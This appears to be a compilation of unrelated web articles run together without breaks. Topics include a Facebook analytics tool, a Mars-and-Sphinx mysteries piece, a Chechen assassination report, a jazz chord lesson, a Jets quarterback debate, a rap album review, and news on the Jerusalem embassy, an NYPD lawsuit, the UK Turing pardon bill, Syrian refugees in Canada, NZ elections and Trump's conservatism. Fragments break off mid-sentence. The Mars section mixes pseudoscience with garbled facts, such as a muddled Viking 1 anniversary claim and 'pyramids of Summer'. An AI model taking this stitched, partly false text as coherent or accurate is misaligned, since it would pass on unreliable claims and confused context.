With over 25 million small business Facebook pages active today, chances are that some of your marketing efforts are invested in the billion-and-change strong social network. But how well is your page really doing? That’s what LikeAlyzer attempts to answer.
Using LikeAlyzer is relatively simple. All you need to do is enter your Facebook page’s name, and after a little magic, you will see basic statistics and recommendations. The statistics tell you about your page, fans, and engagement rates. The recommendations suggest what you can do to improve those numbers. For example, if you should post more often, whether the length of your posts is sufficient, or if you should be posting at different times.
Another useful bit of information is how quickly you respond to your fans. As more and more people are turning to social media to reach out to businesses, their expectation for a rapid response is growing. The response time on your Facebook page can be a critical factor in a potential customer’s buying decision, so speed is obviously an issue.
LikeAlyzer also shows you how your page is doing compared to others in the same industry, which gives you a little insight into your competition. If you see pages that are doing really well, you can always check them out for inspiration.
4 Online Marketing Tools
And there you have it. Four online marketing tools that you can start using today to make sense of the marketing data that’s at your fingertips, but isn’t always easy to turn into actual action items, and one online marketing tool that will help you write better marketing content for your target audience.
Did we leave anything vital out? Sound off in the comments, and let us know!
Avi Kaye is a social media marketing consultant for software startups. In addition to PageWiz, he also writes for himself on his own blog, in between numerous cups of coffee.
Next postMars Structures |From Mars to Sphinx. Enigmatic and transcendent, the Sphinx still is, to scientists a mystery. The ancient mystery sciences associated with Egyptian Gnosticism, astrology, tarot, or alchemy give special importance to the Sphinx, associating it with the keeper of the great mysteries, the owner of the keys to the knowledge of the great mysteries of the universe. Analyzing the symbolism of the Sphinx, we find that he is also the Taurus, the Lion, the Eagle and the Man (as shown in the Egyptian pictographs). The four symbols placed around the God Throne represented in John’s Revelation. The same symbols represent the fixed signs of the zodiac disposed on the four directions of the space (like the corners of the pyramids).
For more insights watch the video at the bottom of this article.
Egyptian legends say that under the pyramid there are underground labyrinths where you can miss for months and in the centre of which are hidden sources of knowledge.
Radar tests have detected anomalies in the soil structure under the Sphinx indicating the presence of some cavities in the soil. All anomalies seemed to be linked by a narrower cavity
But there are still no excavations under the Sphinx or under the pyramid.
As in all the religions of the world, the symbolism of the Sphinx is closely related to light, like the entire Egyptian religion.
Waiting for the sunrise, symbolizing life as a rebirth, as the royal tombs were arranged on the western bank of the Nile in analogy with the opposite of the sun symbolizing the life that passed.
Who built the Sphinx and for what purpose? What is his age? Is contemporary with the pyramids on the Giza plateau? What symbolizes his human-lion hybrid structure?
It is officially believed that the Sphinx is 4500 years old and dates from the pharaoh Kephren (2500 BC).
Discoveries and research over the last 20 years contradict the conclusions of classical Egyptology.
New sciences such as geology, archeo-astrology, and astrobiology cast a new light on a mystery that has lasted for several millennia.
Nowadays, in order to precisely raise and position an object of 200 tons, it takes between five and six weeks of preparation, using the most powerful cranes in the world.
In order to place a second 200-ton stone block, another five weeks of preparation would still be required.
Using the current technology should be around 500 years just to position 5000 blocks of this kind.
Robert Bauval and Graham Hancock have developed another theory that the Sphinx (considering its location according to neighbouring pyramids and ancient Egyptian writings) is a part (if not the most important element) of an astronomical map that has a close connection with The constellation Orion.
They concluded that the best fit of the map would be with the position that the stars had in 10,500 BC There is no inscription or writing that clearly indicates the date of construction.
There are only clues that support the hypothesis that the Sphinx would have existed before the pyramids.
Although the archaeological context shows that the realization of the Sphinx is very unlikely to surrender to Khafre’s complex.
Red Planet Connections?
In July 1976, Viking 1 spacecraft overflown the Red Planet with the mission of transmitting images to Earth. On this occasion, NASA came into possession of thousands of photographs, two of which became history. They represented what seemed to be a human face. Then there were pictures of … pyramids.
The first testimony on Mars came from February 1972, when the Mariner 9 probe showed us how this planet really is, sending the first images taken close: it was rocky, arid and … red.
But nothing surprised more than the images of Mars’ surface taken in the region known as the Elysium Quadrangle, at 15 degrees of the Martian equator.
They seemed to look like some pyramidal shapes, two larger and three smaller, with only three faces.
The second image, captured six months later on August 7, again shows the same forms.
It is supposed that the largest of the pyramids has a base 3 km long and 1 km high, much larger than the pyramids of Summer, Egypt or Mexico.
From that moment on, the discovered structures became evidence of Martian civilization.
In 1976, a new US space mission, Viking, photographed the surface of the Red Planet.
The two ships, Viking 1 and Viking 2, were orbiting the planet to send pictures and other data, but they also had probes to descend to gather information about traces of life.
This latter objective has failed in appearance, although the results are still debated by scientists.
Viking 1’s amortization occurred on July 20, marking the 20th anniversary of the first descent on the Moon.
The probe transmitted the first images of the Martian soil, and the one on Viking 2 descended on September 3 and transmitted data for six years.
Among the images were evidence of the region known as Cydonia Mensae, 40 degrees north of the Martian equator, diametrically opposed to the Elysium area.
The photo showed a structure similar to a human face that would look toward space. This structure, almost 1.5 km long, has attracted the interest of all at that time and still continues to spark heated debate.
However, the two relevant photographs were archived along with the rest and soon after forgetting until they were discovered and analyzed with modern scientific methods.
The face was then compared immediately with the Egyptian Sphinx, and the surrounding structures, with the monuments of Gizeh, after a cosmic scale pattern.
There were also things of great importance, including a five-sided pyramid structure, 15 km south of Chip, 2.5 km long and 1.6 km wide.
This became known as the Pyramid “D & M”, after the names of the two scholars who deepened the mystery, DiPietro, and Molenaar.
The Cydonia region is in the northern hemisphere of Mars, and some experts believe that there was once an ocean.
One of these first images, made on July 25, 1976, showed a strange form of relief that looked very good with a human face.
Subsequently, other space probes photographed the Red Planet, providing images at a much better resolution.
These are the Mars Global Surveyor (1997-2006), the Mars Reconnaissance Orbiter (released in 2006) and Mars Express (released in 2003).
The photos offered by this show that the famous Face is actually an optical illusion formed by a play of lights and shadows.
To dismantle the theory of those who claim that there are pyramids and other forms of relief on Mars that would actually be the creation of extraterrestrials, Stuart Robbins made a video presenting the mathematical arguments against them.
The famous “Mars anomalies,” formations that resemble a human face or some pyramids, are simple relief forms and do not have the clear, organized structure of specially designed buildings.
Richard Hoagland and other adherents of his theory argued that the formations would have been made by aliens because they had some geometric shapes.
According to Robbins, everything is just an illusion, and the new images with the Cydonia region, where these forms of relief lie, show that the relief is natural, nothing built by an extraterrestrial civilization
The latest similar observation from the beginning of this year, in which the conspiracy theorists believe, was a response to one of the Great Pyramids of Egypt on Mars.
Invoking ‘almost perfect design and shape’, ufologists argued that the ‘pyramid’ is still proof that an ancient civilization once lived on the red planet.
While the pyramid is believed to be “the size of a car,” alien hunters say it could be just the tip of a much larger, buried structure.
NASA did not confirm the story, but this did not stop the conspiracy theorists from arguing that this is still a proof of the “secret space program.”
For More Insights Watch The Video Bellow:
References:An opponent of Chechnya’s Moscow-backed president, Ramzan Kadyrov, has been shot dead in Dubai. The murder of Sulim Yamadayev is the latest in a line of killings of Chechens who opposed the rule of Mr Kadyrov and again raises questions about the nature of his rule.
Mr Yamadayev, like Mr Kadyrov, was a former rebel who fought against Russia during the 1990s and then switched sides. He had been awarded Russia’s top military medal, and until recently was the commander of Vostok, a federal army battalion made up of Chechens that had a fearsome reputation. He led Vostok into South Ossetia during last summer’s war, and the battalion played a major part in the Russian invasion of Georgia.
But despite this success, relations with Mr Kadyrov had already soured. The Yamadayev brothers – Sulim, Ruslan and Badrudi – headed a powerful clan that had a long-running feud with Mr Kadyrov, exacerbated when a convoy led by Badrudi Yamadayev refused to make way for Mr Kadyrov’s cortege in Chechnya last April, leading to a shootout.
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
In September, Ruslan Yamadayev was assassinated in central Moscow. Many pointed the finger at Chechnya’s President, though Sulim Yamadayev at the time said he did not want to believe that Mr Kadyrov was behind the killing. He then disappeared from public view; according to reports in the Russian press, he had been living in an upmarket area of Dubai for the past four months.
He was reported to have been fatally wounded while getting into his car in an underground car park on Saturday afternoon. There were unconfirmed reports that a Russian citizen had been apprehended as a suspect.
In 2004, two Russian intelligence agents were convicted of assassinating a former Chechen separatist president,
Zelimkhan Yandarbiyev, in Qatar. Recently, a new spate of murders has started, with the Yamadayev brothers just two of several Chechens to meet sticky ends far from the Caucasus Mountains.
Chechen exile groups claim that three Chechens have been murdered in Istanbul in recent months, while in January Umar Israilov was murdered in Vienna. Mr Israilov, a former bodyguard of Mr Kadyrov, had claimed to have witnessed acts of torture carried out by the Chechen President himself.
Mr Kadyrov, who has also been mentioned as a possible suspect in the murder of the investigative journalist Anna Politkovskaya, rejected those accusations with the unsettling defence that he did not kill women.
Chechen officials denied that Mr Yamadayev’s killing was related to Mr Kadyrov and suggested that it was a provocation designed to implicate the Chechen President falsely, and cause friction ahead of a visit of the Dubai ruler, Sheikh Mohammed bin Rashid al Maktoum, to Moscow.
We’ll tell you what’s true. You can form your own view.
At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
Subscribe nowHave you ever found yourself feeling confident about 7th chords, but then you see a chart with a 9th chord, you’re stopped in your tracks?
This is an issue that many jazz guitarists struggle with, adding extended chords to the root-7th chords you worked hard to get under your fingers.
Learning extended chords helps you over this hump, and brings new and exciting harmonic colors to your comping, chord soloing, and chord melodies.
The key to learning extended chords on guitar, 9ths, 11ths, and 13ths, is to use shapes you know in new situations.
By doing so, you expand your chord knowledge and easily build these shapes in real time over any chord you’re playing.
This lesson breaks down essential extended chords, gives you multiple guidelines to build these chords, and provides dozens of examples of applying extended chords to your playing.
Learning extended chords feels like a big hill to climb in the woodshed.
But, with the right exercises, easy to understand theory, and practice time, you’ll be using these essential jazz guitar chords in your playing in no time.
Extended Chords Quick Facts
What is a Chord Extension? A chord extension is the 9th, 11th, or 13th of a chord, above the octave of the underlying tonic note. A chord extension is |
a minimum, I’d have to see him regularly making plays, learning from mistakes, and showing constant improvement in Morton & Bates’ offense to really consider passing on Cousins AND deciding not to go all in on a QB in the 2018 draft. You think that’s fair?
Dalbin: You are right; Washington has gotten the QB thing right more often than we have for sure. Even RG3, with his flaws, led them to a division title. Cousins will have the longer and more productive career, just like Frerotte did.
Yeah, I think our disagreement on where he lands is why I have a little more pause than you. Granted, we have seen guys like him win Super Bowls by being propped up by the talent around them and then going on these crazy runs come playoff time. We agree that he is not a guy that will elevate you on his play alone, but if you invest the kind of contract it will take to sign him he needs to be.
64% completion percentage, 3,500 yards, 20 TDs and 14 INTs sells you on Hackenberg? At first glance, those are really good numbers and I would sign up for that in a heartbeat. I’ll lower the bar a little bit: 60%, 3,000 yards, 14 TDs, and 12 INTs. Who’s that, you ask Scott? That is Super Bowl Champion Joe Flacco’s rookie year. Is that too low?
I’ve always been of the school of thought that you do whatever you have to do to go get got franchise QB in the draft. While Jeff believes Cousins will go right to SF, I think Cousins will go where the money is. That could be right back to Washington on the tag for a 3rd year, or he might go home to Michigan if the Lions cannot resign Matt Stafford. Even if the Jets pick in the latter half of the top 10, which I think is more likely than them picking in the top 3, if they love Rosen (my QB1), Allen, or Darnold then you go get him. It is a roll of the dice, but if Hackenberg does not show enough and you do not want to commit to Cousins then that is the smarter play in my opinion. For me, that makes more sense. If you pick first, I disagree with Edward’s notion that you then still go all in on Cousins and trade the pick because adding a rookie QB on the rookie scale for five seasons? That REALLY lets you build a sustainable team. Is there anything that makes you not want to go after Cousins?
Scott: I think we largely agree on what the best course of action if Hackenberg doesn’t work out. The two major differences between us seem to be that I would only make a huge move for Darnold, Rosen, or Allen if I saw one of them as a franchise altering talent. If you view those three guys as “good” as opposed to “great,” then I would either trade out of the #1 pick or – if I was picking lower – avoid a major move to trade up. Obviously, opinions on these guys vary greatly and will change throughout the 2017 CFB season – after all, the top QB selected in the 2017 draft was on nobody’s list of top QBs going into the 2016 season – so we have a long way to go in making a proper assessment.
The other difference between us is that if Hackenberg does not work out AND the team is either not in position to get a QB or doesn’t believe strongly in any of the available prospects, then I would try to pay Cousins. We both agree that he isn’t in the elite level of QBs, and he isn’t SUPER young. However, he’s only going to be 30 when 2018 begins, which means that barring injuries, he should have another five years left in the tank at a relatively high level. Also, with a good defense and the right offensive pieces around him, I do believe the Jets could contend. I don’t necessarily believe they could be a perennial contender the way the Steelers, Patriots, Packers, and Seahawks are, but I do think they would be capable of making a run. You mentioned Joe Flacco before and I certainly think Cousins is on that level, so if Flacco could do it, I don’t see why Cousins couldn’t.
Speaking of Flacco, if Hackenberg had the rookie year Flacco did, that might be enough for me to consider going with him. But it would also depend on how much I liked the QBs available in the draft and what my key offensive staff thought of him. I’d like to see respectable numbers, but more than that, I need to see constant improvement, grasp of the offense, leadership skills, and the ability to learn from mistakes. Many of us had a blindspot after Sanchez’s rookie year because of how well the team did and the occasional flashes of brilliance we saw, but the biggest problem was that he repeated mistakes over and over again. He never really improved, he just got us to forget about his lack of improvement because the team went deeper into the playoffs than we ever expected. With Hackenberg, I need to see more than that. By year’s end, I want to see real promise and progress. Otherwise, it’s time to move on to a QB in the 2018 draft or an insanely high priced ex-Michigan State QB (and no, I don’t mean Tony Banks, though in fairness, ol’ Tony might actually be an improvement over what we watched at QB with this team last year lol).
That said, I yield the floor to you and offer you the last word, kind sir.
Dalbin: Yeah, I think that is where we veer off: I mentioned this on the TOJ Pod, but I believe this draft class has the chance to be better than the 2004 draft class because of the quality and quantity of productive starters. So, even if I didn’t get one of the Big 3 I think you could land a guy that you can groom to be your Kirk Cousins. I do believe there is a gap between Sam Darnold (my QB3) and Mason Rudolph (my QB4), but Rudolph might end up having the better career because he could land in a spot that allows him to develop whereas Darnold may not have that luxury.
See, I would not pay Cousins if Hackenberg shows something. I think the Jets would be better suited developing the youngster on a rookie deal than to splurge on a then-30 year old QB. Also, because of the red shirt year Hackenberg received last year you would then only give him one more year on his current deal on your team essentially after you invested two full years to his development. I wouldn’t do that, and it would be extremely short sighted and reactionary for the Jets to do that.
I agree; we need to see more than just statistics that give Hackenberg a shot going forward. Does he play smart in the red zone? Does he take unnecessary sacks? Is he now dating a starlet? All of that matters if you’re going to be the face of the franchise going forward.
Pardon the turbulence.
–
Photo Credit: NFL.comWhen splenetic, word-nerd, and Scribble Jam hero Sage Francis floated the possibility that he would slow things down after his 2010 album Li(f)e, it was viewed by many as something like a retirement. The album was a tricky collaborative record featuring members of Califone as well as the late Mark Linkous and Jason Lytle. It also contained one of his most novelistic songs, “Little Houdini,” which unfolded like a Tobias Wolff-like short story and suggested that Francis might use his time away from rap to transform from a confessional MC to a great American pulp novelist.
In actuality, the rapper’s time off was merely a brief respite from years of recording and touring repeat. The result of this relative moment of pause inevitably gave him time to work on his new release; the nervy, seemingly on-edge MC’s Copper Gone. The album’s opener is a “Pressure Cooker”—a heavy-as-hell slab of noise rap, with nods to the Bomb Squad, El-P, and maybe even some hard-rockin’, pro-wrestling theme music—that indicates that Sage has lost little of his antsy edge. If anything, slowing down has only created an even bigger laundry list of things to poetically dissect. Take “Cheat Code,” for example. The darkwave-tinged diss track that makes fun of goofy rappers blabbing “YOLO” and wisely takes issue with mainstream hip-hop’s smarmy misreading of being “emotional.” There’s nobody better than Sage Francis to tell you how to properly bear your soul and Copper Gone, out June 3 on Strange Famous Records, does it well. Listen to the album in advance of its release below.Dear Reader, As you can imagine, more people are reading The Jerusalem Post than ever before. Nevertheless, traditional business models are no longer sustainable and high-quality publications, like ours, are being forced to look for new ways to keep going. Unlike many other news organizations, we have not put up a paywall. We want to keep our journalism open and accessible and be able to keep providing you with news and analysis from the frontlines of Israel, the Middle East and the Jewish World.
US President Donald Trump may formally recognize Jerusalem as Israel’s capital early next week and direct his staff to prepare for moving the embassy to Jerusalem, Channel 2 News reported Wednesday night.
The report, to which there was no immediate confirmation, followed a speech US Vice President Mike Pence gave a day earlier in which he said that Trump was “actively considering” the step.
“While for the past 20 years, Congress and successive administrations have expressed a willingness to move our embassy, as we speak, President Donald Trump is actively considering when and how to move the American Embassy in Israel from Tel Aviv to Jerusalem,” Pence said at an event celebrating the 70th anniversary of the UN vote on the Partition Plan.According to the television report, Trump does not want to once again sign a waiver – which he did on June 1 and which is up for renewal every six months – blocking implementation of a law passed by Congress in 1995 mandating that the embassy be moved.Trump pledged repeatedly during his campaign to move the US embassy from Tel Aviv to Jerusalem. After Trump signed the waiver in June, various administration officials said moving the embassy was a matter of “when, not if.”The Palestinians, as well as some Arab leaders and top US officials, have warned that such a move would trigger an uproar and violent unrest in the territories and in Arab capitals that could ruin current US efforts to push the diplomatic process forward.Israel’s argument is that moving the embassy would correct a historical anomaly, whereby the US does not recognize Jerusalem as Israel’s capital. It would also force the Arabs and the Palestinians to wake up from a long-harbored fantasy that they could disassociate Israel and the Jewish people from Jerusalem.If as a forerunner to moving the embassy, Trump formally recognizes Jerusalem as Israel’s capital, he is likely to make clear that the recognition is only of west Jerusalem in order to keep the final status of the entire city something to be determined in negotiations.Russia announced in April that it recognizes west Jerusalem as Israel’s capital, becoming the first country in the world to do so. That announcement was met by silence both in the Palestinian territories and in the Arab world.
Join Jerusalem Post Premium Plus now for just $5 and upgrade your experience with an ads-free website and exclusive content. Click here>>A group of NYPD officers allegedly forced a man to rap for his own freedom. According to a lawsuit filed against the department and obtained by the Post, 28-year-old Quinshon Singles was handcuffed in the Brooklyn apartment of a friend after police entered the home without a warrant. “The defendant officers then told the plaintiff Quinshon Shingles to show them some'spits and bars,' specifically to perform a rap song, and that if he was ‘hot’ they would let him go," the lawsuit states. Singles says he performed, and police took off the handcuffs.
The lawsuit alleges that no contraband was found in the search, and that at least one of the officers who entered the apartment was being investigated for other illegal searches.
Why sue the department instead of reporting police misconduct to the Civilian Complaint Review Board? Among other reasons, the NYPD has increasingly ignored cases of wrongdoing substantiated by the CCRB. According to a recent CCRB report [PDF], the department declined to prosecute 28% of all substantiated cases closed by the CCRB from January to August of this year, an increase of 13% over last year.
From the report:
During this time period, there were specific allegation categories with a higher than average Department Unable to Prosecute (DUP) rate (33%). For example, the department declined to prosecute 75% of offensive language allegations (3 out of 4), 58% of all discourtesy allegations (11 out of 19), 46% of vehicle stops and searches (17 out of 37), and 42% of physical force allegations (5 out of 12). In the area of stop and frisk, the department declined to prosecute 58% of questions (7 out of 12), 35% of stops (30 out of 85), 17% of frisks (9 out of 54) and 28% of searches (8 out of 29). Premises entered and or searched had a 37% DUP rate (7 out of 19). The department declined to prosecute 25% of cases in which the Board recommended Charges and Specifications (33 out of 134), 33% of cases in which the Board recommended Command Discipline (22 out of 67) and 38% of cases in which the Board recommended Instructions (9 out of 24). Since May, with the implementation of the APU, two thirds of the declined cases are those in which the Board recommended Command Discipline or Instructions.
The CCRB recently gained more funding and prosecutorial power to try cases before administrative judges, but the NYPD Commissioner still has the final say as to whether an officer will be disciplined.
“When the department dismisses a case, a police officer who has been found to engage in misconduct by the CCRB is going to go unpunished,” NYCLU associate legal director Christopher Dunn told the New York World. "In short, it means an officer walks away scot-free even though they did something wrong.”
In fiscal year 2012, taxpayers shelled out $151.9 million in settlements related to lawsuits against the NYPD for civil rights violations or misconduct.Image copyright AFP/Getty Images Image caption Alan Turing's work at Bletchley Park during World War Two enabled German codes to be cracked
A bill that would have wiped clean the criminal records of thousands of gay men has fallen at its first parliamentary hurdle.
The private member's bill would have pardoned all men living with UK convictions for same-sex offences committed before the law was changed.
There were emotional scenes with one MP fighting back tears during his speech.
The government, which has its own plans for posthumous pardons, "talked out" the bill, which will not now go ahead.
Minister Sam Gyimah spoke for 25 minutes, reaching the time limit allotted for the debate.
There were shouts of "shame" and "shameful" from angry MPs as the seconds ticked down and proceedings came to an end.
Media playback is unsupported on your device Media caption Justice Minister Sam Gyimah heckled by MPs during Turing Bill debate
SNP MP John Nicolson said he had secured government support for his bill, which was withdrawn when the Ministry of Justice published its own commitment to a "Turing's law" on Thursday.
During Friday's debate Mr Nicolson accused the government of trying to "hijack" his plans.
The government's rival measure, an amendment to the Policing and Crimes Bill announced on Thursday, would grant pardons for those convicted who have since died. Ministers say those who are still alive can go through a "disregard process" to clear their names.
Media playback is unsupported on your device Media caption An emotional Chris Bryant speaks about gay MPs' roles in the anti-Nazi movement
The government said it would not support Mr Nicolson's Sexual Offences (Pardons) Bill - which proposes a blanket pardon for the living - because it could lead to some people being cleared of offences that are still crimes.
"I understand and support the intentions behind Mr Nicolson's Bill, however I worry that he has not fully thought through the consequences," said justice minister Sam Gyimah. "Our way forward will be both faster and fairer."
Speaking during the debate, Mr Nicolson said: "I have to ask the House, should we not prioritise the living over the dead?"
His bill would have "set aside" nearly 50,000 convictions, about 15,000 of which apply to men who are still alive today.
Mr Nicolson says he was motivated by his work as a BBC journalist in the 1990s: "I made a documentary in the 1990s looking at the discriminatory laws which criminalised gay men.
"There were some shocking injustices. Men were arrested aged 21 for having 'under-age sex' with their 20-year-old boyfriends," he said.
How would the Turing Bill work?
The bill is intended to set aside only convictions made under:
Section 12 of the Sexual Offences Act 1956 (buggery)
Section 13 of that act (gross indecency between men)
Section 32 of that act (solicitation by men), or
Section 61 of the Offences against the Person Act 1861 or section 11 of the Criminal Law Amendment Act 1885.
And it would do so only under the conditions that:
The other person involved at the time the act was committed was a consenting partner aged 16 or above
The act would not constitute an offence under section 71 of the Sexual Offences Act 2003 (sexual activity in a public lavatory)
The act in question would not still be illegal for any other reason.
The debate saw MPs from both government and opposition parties speaking in favour of moving the bill through Parliament.
Labour Rhondda MP Chris Bryant made an emotional speech in favour of the bill, recalling gay and bisexual MPs who demanded the right to fight in World War Two, insisting they and others should receive "something that feels like an apology".
Image caption The SNP's John Nicolson wanted to bring "closure" to gay men still living with criminal convictions for sex.
Conservative MP Iain Stewart said that while he would support the government amendment, he believed it wouldn't go far enough.
Mr Stewart said: "We can move forward in a much more symbolic way... a way which will really make a difference to many people in this country."
A 2015 petition calling for pardons for the estimated 49,000 men affected by convictions for consensual gay sex was signed by over half a million people, including the actor Benedict Cumberbatch, who played Turing in the 2014 film The Imitation Game.
Another signatory was Turing's great-niece Rachel Barnes. Speaking to BBC News in 2015, Ms Barnes said: "We've always considered that it is totally unjust that only Alan was given a pardon.
"There were 50,000 other homosexuals who were convicted and not given a pardon. We would really like this to be put right now."Canada’s immigration minister drew a few raised eyebrows at a Senate committee meeting on Wednesday morning when he cited “a cultural element” as a possible explanation for Syrian refugees making use of food banks.
John McCallum was appearing before the Senate Human Rights Committee to update senators on the progress of resettlement efforts for the tens of thousands of refugees who arrived over the last few months from war-torn Syria and the surrounding regions.
Related Syrian refugees in New Brunswick raise money for Fort McMurray wildfire evacuees
Asked by Conservative Sen. Salma Ataullahjan about the refugees relying on food banks, the minister said it’s to be expected at the moment, because many are living off the equivalent of a social-assistance cheque each month.
READ MORE: Surrey Food Bank struggling to keep up with demand
The government did not want to provide refugees with more financial support than what a Canadian citizen on social assistance would receive, McCallum explained, because that would not appear fair. The private sector has stepped up to boost the monthly refugee support in some cases, he added.
But then McCallum added that “there may be a cultural element” to the food bank use.
“Because you have to remember that the refugees are coming from an entirely different world … sometimes they’ve been living in refugee camps, sometimes it’s the norm to be offered meals,” he said.
Ataullahjan, who was born in Pakistan, said the comment had “thrown me.”
“I thought you relied on food banks because you need food,” she said, before swiftly moving on to another line of questioning.
Food banks from Toronto to Surrey to Charlottetown have reported spikes in use over the past several months, with some saying the government and private sponsors are not picking up enough of the financial slack for refugees. While food banks anticipated some increase in demand over time, one director in Toronto recently told the Toronto Star that it happened almost immediately after the refugee program kicked into high gear.
Language, jobs issues ‘not resolved’
McCallum directly addressed some of the major challenges associated with welcoming over 25,000 privately and publicly sponsored refugees on Wednesday, saying that the biggest issue — housing — has largely been resolved. About 98 per cent of the new arrivals now have a permanent roof over their heads, he said.
The major battles now, according to McCallum, are language and jobs. In order to integrate successfully, Syrians have to learn either English or French and find employment.
WATCH: Five months later, how are Syrian refugees settling in B.C.?
“Those issues certainly are not resolved, especially when you look at government-assisted refugees,” he said, explaining that Canada asked the United Nations for the most vulnerable people, “and we got them.”
The government-assisted refugees often don’t speak a word of English or French, and many come from rural areas of Syria. They have lower levels of education as a result, McCallum said.
READ MORE: Syrian refugees give Heritage Minister Joly an earful over difficulty finding jobs
The minister told the senators, however, that he’s confident that in the “medium term” these Syrians will be able to take advantage of government-sponsored programs to brush up on language and gain marketable skills.
“We’ve committed just short of a billion dollars for this project,” he said. “It has truly become a national project.”
That doesn’t mean everyone is happy about it, however. McCallum acknowledged there has been backlash, and racism, as the Syrians have arrived in cities and towns across the country.
READ MORE: Pepper spraying fails to deter Syrian refugees
“On an international scale we do well … but we are far from perfect and I’m acutely aware of this situation,” he said.
“That’s why I’ve said more than once that we don’t want to give more to refugees than we do to Canadians … you have to be careful. I think Canadians are welcoming, but they don’t want to treat the newcomers better than we treat our own people.”Labour Christchurch Central candidate Duncan Webb: 'It would have made this race a lot easier if the Greens hadn't stood.'
Labour Christchurch Central candidate Duncan Webb is lamenting a lost opportunity as his party's political ally searches for a contender to run against him.
The Greens' Christchurch Central nominee Dora Langsbury withdrew her candidacy this month after work commitments became too much. The party is looking for a replacement.
Canterbury Green MP Eugenie Sage said someone had put their name forward, but the formal selection process had not started.
READ MORE:
* Lawyer Duncan Webb confirmed as Labour's Christchurch Central candidate
* The year of the door-knock: Duncan Webb's tilt at Christchurch Central
* Nicky Wagner wins Christchurch Central seat
* Hard work, not adviser, 'won seat' for Nicky Wagner
* PM and Banks have their Epsom cup of tea
Christchurch Central has long been a Labour stronghold but evolved into a battleground the last two elections, where National MP Nicky Wagner prevailed. Both times Green candidate David Moorhouse's share of the vote was more than Wagner's majority.
"It would have made this race a lot easier if the Greens hadn't stood," Webb said.
"Having said that, they're an independent political party, they have seen it as in their interests to stand a candidate. But I just hope that the Green members and the Green supporters out there, when they come to vote, remember that a vote for their Green candidate is essentially a vote for Nicky Wagner."
SUPPLIED Dora Langsbury withdrew as the Greens' Christchurch Central candidate because of work commitments.
Labour and the Greens signed a memorandum of understanding last year pledging to work together to change the government. The document refers to a possible joint campaign "to advance our purpose" but horse-trading on candidacies to engineer electorate wins would be risky. National has always stood a candidate in Epsom, despite the party's cosy relationship with ACT in the electorate.
"We're an independent party and we aim to stand a candidate to promote particularly the party vote," Sage said.
"Christchurch Central... is a very important electorate. It's the centre of Christchurch. We want a good candidate and a good representative."
SUPPLIED Christchurch Regeneration Minister Nicky Wagner has held the Christchurch Central seat at the last two elections.
Webb said he respected the Greens' pursuit of party votes, but it would mean some cannibalisation among the Left's support base.
"If there's a green leaf in the candidate column, it will get some votes, and that's unfortunate."
Wagner said Langsbury had strong environmental and central Christchurch credentials. She stood as an independent in the Central ward in Christchurch's local body elections last year.
"I'm sorry that she's not going to be standing [but] I think it's an opportunity for people to vote Bluegreen[in support of National's advisory group on environmental issues]."
The election is on September 23. Candidate nominations close on August 29.In this May 4, 2017 photo, President Donald Trump, accompanied by GOP House members, cheer for Speaker of the House Rep. Paul Ryan, R-Wis., after the House pushed through a health care bill, in the Rose Garden of the White House in Washington, D.C. (AP Photo/Evan Vucci)
During the 2016 election, many observers from across the political spectrum saw Donald Trump’s candidacy as a direct challenge to the Republican Party’s ideological orthodoxy. Reporters described Trump as an “insurgent populist” running on a policy platform that “cuts across party lines... [and is] anathema to movement conservatives.” From Barack Obama on the left to Bill Kristol on the right, critics described Trump’s brand of politics as fundamentally incompatible with conservative principles and Republican heritage.
But that’s not what we’ve seen so far. Instead of transforming the Republican Party, Trump has assembled the most conservative administration and agenda of any modern president. Analysts overstated Trump’s distance from Republican campaign orthodoxy and expected him to be able to avoid the challenges of leading his party from opposition to governing mode. As a result, they underestimated the resilience of the GOP’s basic character.
Many observers misread the Trump campaign, predicting a political realignment between the parties
Because Trump’s campaign was so superficially unusual, journalists exaggerated its distance from ordinary conservative positions. Like previous Republicans, Trump relied on broad symbolic rhetoric rather than policy specifics. He accused the Democrats of weakness on national security and the mainstream news media of bias. He denounced Obamacare without explaining how he would replace it, proposed large-scale tax cuts, and decried government regulation.
Trump even stood to the right of other Republicans on his signature issue: immigration. He deployed nativist rhetoric and denounced international institutions. That reinvigorated the American right’s tradition of nationalism – and aligned the Republicans with a global trend among far-right parties.
The Washington Post's Philip Rucker, Ashley Parker and David Nakamura explain why President Trump still pledges to build a wall on the U.S. southern border. (Bastien Inzaurralde/The Washington Post)
Trump’s campaign did deviate from a few conventional Republican positions – particularly on free trade and entitlements. But so had previous conservative populists, like Pat Buchanan. Predictions that Trump’s rise would cause the parties to realign ideologically were overstated.
In fact, Trump is governing like a firm – even far-right – conservative
Before the election, we predicted that Trump wouldn’t redefine Republican ideology; rather, the GOP’s stable congressional leadership and infrastructure would change Trump, forcing him to “reconcile his ambitious campaign promises with the realities of governing without alienating conservative ideologues.”
[This is why Pence’s voter fraud commission will almost certainly ‘find’ duplicate registrations that aren’t really duplicates.]
And that’s what has happened. Trump is not trying to redefine party orthodoxy or build coalitions with the Democrats. His executive branch appointments have tilted farther to the ideological right than previous Republican presidents (as did his Supreme Court nomination). Working with the Republican-controlled Congress, his appointees are swiftly reversing Obama-era regulations. Republican leaders have driven the congressional agenda, emphasizing ACA repeal, tax reform, and corporate deregulation rather than Trump’s less conservative campaign proposals like infrastructure spending and expanded parental leave.
Speaking to conservative activists, Feb. 24, President Trump outlined his plans for tax reform, regulatory rollback and strengthening the U.S. military. (Reuters)
Trump’s proposed federal budget endorses deep cuts to many domestic programs, and his positions on social issues – such as his recently-announced decision to ban transgender servicemembers from the military – are just as conservative.
Trump’s distinctive personality continues to dominate headlines. But the president’s personnel and policy choices mostly show how he’s constrained by the broader Republican infrastructure of media, interest group, and activist supporters, who were attracted to his angry denunciations of Obama policies but weren’t interested in a leftward tilt.
Even though some observers saw the recent departure of White House chief of staff Reince Priebus as a sign of Trump’s growing independence from the “Republican establishment,” there’s no reason to think that the president’s frustration with Priebus’s performance is leading him to reconsider the rightward policy direction of his administration.
[Republicans and Democrats can’t even agree about how they disagree]
Here’s why the Republican Party is pulling Trump rightward
